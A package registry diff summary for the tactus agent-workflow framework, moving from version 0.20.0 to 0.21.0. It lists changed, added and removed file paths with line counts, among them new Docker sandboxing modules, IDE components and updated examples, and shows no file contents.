tactus 0.20.0__tar.gz → 0.21.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {tactus-0.20.0 → tactus-0.21.0}/.gitignore +1 -0
- {tactus-0.20.0 → tactus-0.21.0}/CHANGELOG.md +22 -0
- {tactus-0.20.0 → tactus-0.21.0}/PKG-INFO +1 -1
- {tactus-0.20.0 → tactus-0.21.0}/docs/CONFIGURATION.md +133 -0
- tactus-0.21.0/docs/SANDBOXING.md +499 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/04-basics-simple-agent.tac +10 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/05-basics-multi-model.tac +17 -2
- {tactus-0.20.0 → tactus-0.21.0}/examples/07-basics-bedrock.tac +10 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/08-basics-models.tac +46 -3
- {tactus-0.20.0 → tactus-0.21.0}/examples/09-basics-google-gemini.tac +18 -8
- {tactus-0.20.0 → tactus-0.21.0}/examples/11-feature-message-history.tac +8 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/12-feature-structured-output.tac +30 -25
- {tactus-0.20.0 → tactus-0.21.0}/examples/13-feature-session.tac +8 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/14-feature-per-turn-tools.tac +9 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/16-feature-toolsets-advanced.tac +42 -24
- {tactus-0.20.0 → tactus-0.21.0}/examples/17-feature-toolsets-dsl.tac +16 -2
- {tactus-0.20.0 → tactus-0.21.0}/examples/18-feature-lua-tools-individual.tac +13 -3
- {tactus-0.20.0 → tactus-0.21.0}/examples/18-feature-lua-tools-inline.tac +13 -2
- {tactus-0.20.0 → tactus-0.21.0}/examples/18-feature-lua-tools-toolset.tac +13 -3
- {tactus-0.20.0 → tactus-0.21.0}/examples/19-feature-direct-tool-calls.tac +15 -5
- {tactus-0.20.0 → tactus-0.21.0}/examples/20-bdd-complete.tac +13 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/21-bdd-passing.tac +10 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/31-eval-demo.tac +23 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/32-eval-success-rate.tac +23 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/33-eval-thresholds.tac +23 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/34-eval-dataset.tac +23 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/35-eval-trace.tac +30 -8
- {tactus-0.20.0 → tactus-0.21.0}/examples/36-eval-advanced.tac +10 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/37-eval-comprehensive.tac +22 -6
- {tactus-0.20.0 → tactus-0.21.0}/examples/40-model-text-classifier.tac +31 -10
- {tactus-0.20.0 → tactus-0.21.0}/examples/41-model-pytorch.tac +32 -10
- {tactus-0.20.0 → tactus-0.21.0}/examples/44-sub-procedure-composition.tac +36 -37
- {tactus-0.20.0 → tactus-0.21.0}/examples/52-file-io-basics.tac +4 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/53-tsv-file-io.tac +4 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/54-json-file-io.tac +4 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/55-parquet-file-io.tac +4 -4
- {tactus-0.20.0 → tactus-0.21.0}/examples/56-hdf5-file-io.tac +9 -9
- {tactus-0.20.0 → tactus-0.21.0}/examples/57-excel-file-io.tac +7 -7
- {tactus-0.20.0 → tactus-0.21.0}/examples/58-text-file-io.tac +13 -13
- {tactus-0.20.0 → tactus-0.21.0}/examples/60-tool-sources.tac +17 -19
- {tactus-0.20.0 → tactus-0.21.0}/examples/61-inline-toolset-lua.tac +15 -12
- {tactus-0.20.0 → tactus-0.21.0}/examples/63-toolset-import-from-file.tac +16 -16
- {tactus-0.20.0 → tactus-0.21.0}/examples/65-optional-state-demo.tac +21 -13
- {tactus-0.20.0 → tactus-0.21.0}/examples/70-mocking-static.tac +10 -9
- {tactus-0.20.0 → tactus-0.21.0}/examples/71-mocking-temporal.tac +15 -15
- {tactus-0.20.0 → tactus-0.21.0}/examples/72-mocking-conditional.tac +10 -26
- {tactus-0.20.0 → tactus-0.21.0}/pyproject.toml +1 -1
- {tactus-0.20.0 → tactus-0.21.0}/tactus/__init__.py +1 -1
- tactus-0.21.0/tactus/adapters/http_callback_log.py +109 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/cli/app.py +190 -5
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/config_manager.py +11 -1
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/dsl_stubs.py +105 -20
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/execution_context.py +8 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/output_validator.py +3 -6
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/registry.py +25 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/runtime.py +73 -39
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/yaml_parser.py +11 -1
- tactus-0.21.0/tactus/docker/Dockerfile +57 -0
- tactus-0.21.0/tactus/docker/entrypoint.sh +68 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/agent.py +3 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/ide/server.py +284 -65
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/handles.py +11 -2
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/tool.py +2 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/tool_handle.py +2 -2
- tactus-0.21.0/tactus/sandbox/__init__.py +63 -0
- tactus-0.21.0/tactus/sandbox/config.py +121 -0
- tactus-0.21.0/tactus/sandbox/container_runner.py +391 -0
- tactus-0.21.0/tactus/sandbox/docker_manager.py +321 -0
- tactus-0.21.0/tactus/sandbox/entrypoint.py +186 -0
- tactus-0.21.0/tactus/sandbox/protocol.py +222 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/tac/tactus/tools/done.tac +3 -3
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/README.md +4 -0
- tactus-0.21.0/tactus/testing/mock_agent.py +208 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_tools.py +18 -7
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/test_runner.py +18 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/test_lsp_server.py +4 -4
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/package-lock.json +1471 -2095
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/App.tsx +92 -4
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/MessageFeed.tsx +27 -1
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ResultsSidebar.tsx +31 -2
- tactus-0.21.0/tactus-ide/frontend/src/components/TestOptionsModal.tsx +185 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/CheckpointEventComponent.tsx +6 -5
- tactus-0.21.0/tactus-ide/frontend/src/components/events/CollapsibleTestScenario.tsx +194 -0
- tactus-0.21.0/tactus-ide/frontend/src/components/events/ContainerStatusEventComponent.tsx +95 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/CostEventComponent.tsx +2 -2
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/EventRenderer.tsx +15 -21
- tactus-0.21.0/tactus-ide/frontend/src/components/events/LoadingEventComponent.tsx +42 -0
- tactus-0.21.0/tactus-ide/frontend/src/components/events/TestProgressContainer.tsx +262 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/hooks/useEventStream.ts +91 -16
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/events.ts +18 -1
- {tactus-0.20.0 → tactus-0.21.0}/tests/cli/test_cli.py +4 -2
- {tactus-0.20.0 → tactus-0.21.0}/tests/cli/test_cli_inputs.py +22 -11
- {tactus-0.20.0 → tactus-0.21.0}/tests/test_mcp_integration.py +2 -5
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_all_examples.py +17 -16
- tactus-0.20.0/examples/app_config.json +0 -1
- tactus-0.20.0/examples/app_summary.json +0 -1
- tactus-0.20.0/examples/data_export.csv +0 -11
- tactus-0.20.0/examples/executive_summary.xlsx +0 -0
- tactus-0.20.0/examples/inventory.tsv +0 -6
- tactus-0.20.0/examples/output_high_performers.csv +0 -5
- tactus-0.20.0/examples/output_summary.json +0 -5
- tactus-0.20.0/examples/product_analysis.xlsx +0 -0
- tactus-0.20.0/examples/sales_analysis.xlsx +0 -0
- tactus-0.20.0/examples/sales_report.xlsx +0 -0
- tactus-0.20.0/examples/scientific_data.h5 +0 -0
- tactus-0.20.0/examples/sensor_data.parquet +0 -0
- tactus-0.20.0/examples/sensor_report.parquet +0 -0
- tactus-0.20.0/examples/sensor_summary.parquet +0 -0
- tactus-0.20.0/examples/status_report.md +0 -31
- tactus-0.20.0/examples/summary.json +0 -6
- tactus-0.20.0/tactus/testing/mock_agent.py +0 -179
- tactus-0.20.0/tactus-ide/frontend/src/components/events/LoadingEventComponent.tsx +0 -29
- {tactus-0.20.0 → tactus-0.21.0}/.claude/agents.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/.github/workflows/desktop-release.yml +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/.github/workflows/release.yml +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/.tactus/config.yml.example +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/AGENTS.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/IMPLEMENTATION.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/LICENSE +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/Makefile +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/SPECIFICATION.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/SPECIFICATION.md.bak +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/TECHNICAL_DEBT.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/behave.ini +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/docs/AGENTS.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/docs/BDD_TESTING.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/docs/DURABILITY.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/docs/FILE_IO.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/docs/STREAMING.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/docs/TOOLS.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/docs/TOOL_ROADMAP.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/.tactus/config.yml +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/01-basics-hello-world.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/02-basics-simple-logic.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/03-basics-parameters.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/06-basics-streaming.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/10-feature-state.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/14-feature-per-turn-tools-simple.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/15-feature-local-tools.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/20-bdd-complete.tac.bak +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/20-bdd-complete.tac.bak2 +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/21-bdd-passing.tac.bak +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/21-bdd-passing.tac.bak2 +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/30-eval-simple.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/34-eval-dataset.jsonl +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/35-eval-trace.tac.bak +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/35-eval-trace.tac.bak2 +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/37-eval-comprehensive.tac.bak +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/37-eval-comprehensive.tac.bak2 +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/39-model-simple.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/40-mcp-test.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/41-mcp-simple.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/43-sub-procedure-simple.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/45-sub-procedure-recursive.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/46-checkpoint-explicit.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/47-checkpoint-expensive-ops.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/48-script-mode-simple.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/50-inputs-showcase.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/51-inputs-calculator.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/62-mcp-toolset-by-server.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/64-require-modules.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/99-misc-test-loading.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/app_config.ini +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/data/sample.csv +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/demo_output.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/math_module.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/product.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/string_module.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/sum.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/text_tools.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/inventory_summary.tsv +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/mock-config.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/models/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/models/create_sentiment_model.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/output_summary.txt +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/tools/calculations.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/tools/data_analysis.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/tools/search.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/with_dependencies/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/with_dependencies/simple_http_test.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/examples/with_dependencies/time_lookup.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/01_state_management.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/02_checkpointing.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/03_human_in_the_loop.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/04_control_flow.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/05_tool_integration.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/06_retry_logic.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/07_file_operations.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/08_agent_primitives.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/09_workflow_execution.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/10_lua_integration.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/11_storage_backends.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/12_json_operations.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/13_logging.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/14_stage_and_step_tracking.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/15_procedure_calls.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/16_session_management.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/17_lua_dsl_validation.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/18_example_procedures.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/19_ide_server.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/20_parameters.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/21_outputs.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/23_prompts.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/24_bdd_specifications.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/25_bdd_custom_steps.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/26_bdd_evaluation.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/27_default_settings.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/28_custom_prompts.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/29_execution_settings.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/30_session_filters.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/31_matchers.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/32_result_object.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/33_output_type.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/42_model_primitive.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/43_sub_procedure_checkpointing.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/46_explicit_checkpoint.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/48_script_mode.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/51_dspy_lm_config.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/52_dspy_signature.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/53_dspy_module.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/54_dspy_history.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/55_dspy_prediction.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/56_dspy_agent.feature +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/documentation/IDE_SERVER_BEHAVIOR.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/documentation/Lua DSL/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/environment.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/agent_primitives_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/checkpointing_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/control_flow_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_agent_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_history_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_lm_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_module_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_prediction_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_signature_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/example_procedures_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/file_operations_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/human_in_the_loop_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/ide_server_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/json_operations_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/logging_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/lua_dsl_validation_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/lua_integration_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/mocking_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/procedure_calls_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/result_and_output_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/retry_logic_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/session_management_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/stage_tracking_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/state_management_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/storage_backend_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/support/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/support/harnesses.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/tool_integration_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/features/steps/workflow_execution_steps.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/scripts/audit_examples_mocking.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/scripts/convert_examples.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/start-web-ide.sh +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/cli_hitl.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/cli_log.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/file_storage.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/ide_log.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/lua_tools.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/mcp.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/mcp_manager.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/memory.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/plugins.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/backends/http_backend.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/backends/model_backend.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/backends/pytorch_backend.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/cli/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/cli/commands/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/dependencies/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/dependencies/registry.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/exceptions.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/lua_sandbox.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/message_history_manager.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/mocking.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/core/template_resolver.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/config.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/history.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/module.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/prediction.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/signature.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/ide/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/control.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/file.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/human.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/json.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/log.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/message_history.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/model.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/procedure.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/procedure_callable.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/retry.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/session.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/stage.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/state.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/step.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/toolset.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/chat_recorder.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/config.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/hitl.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/log_handler.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/models.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/storage.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/base.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/bedrock.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/google.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/openai.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/csv.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/excel.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/file.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/hdf5.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/json.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/parquet.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/tsv.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/loader.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/tac/tactus/tools/log.tac +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/behave_integration.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/context.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/eval_models.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/evaluation_runner.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/evaluators.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/events.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/gherkin_parser.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_dependencies.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_hitl.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_registry.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/models.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/pydantic_eval_runner.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/builtin.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/custom.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/registry.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/tracing/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/tracing/trace_manager.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/__init__.py +0 -0
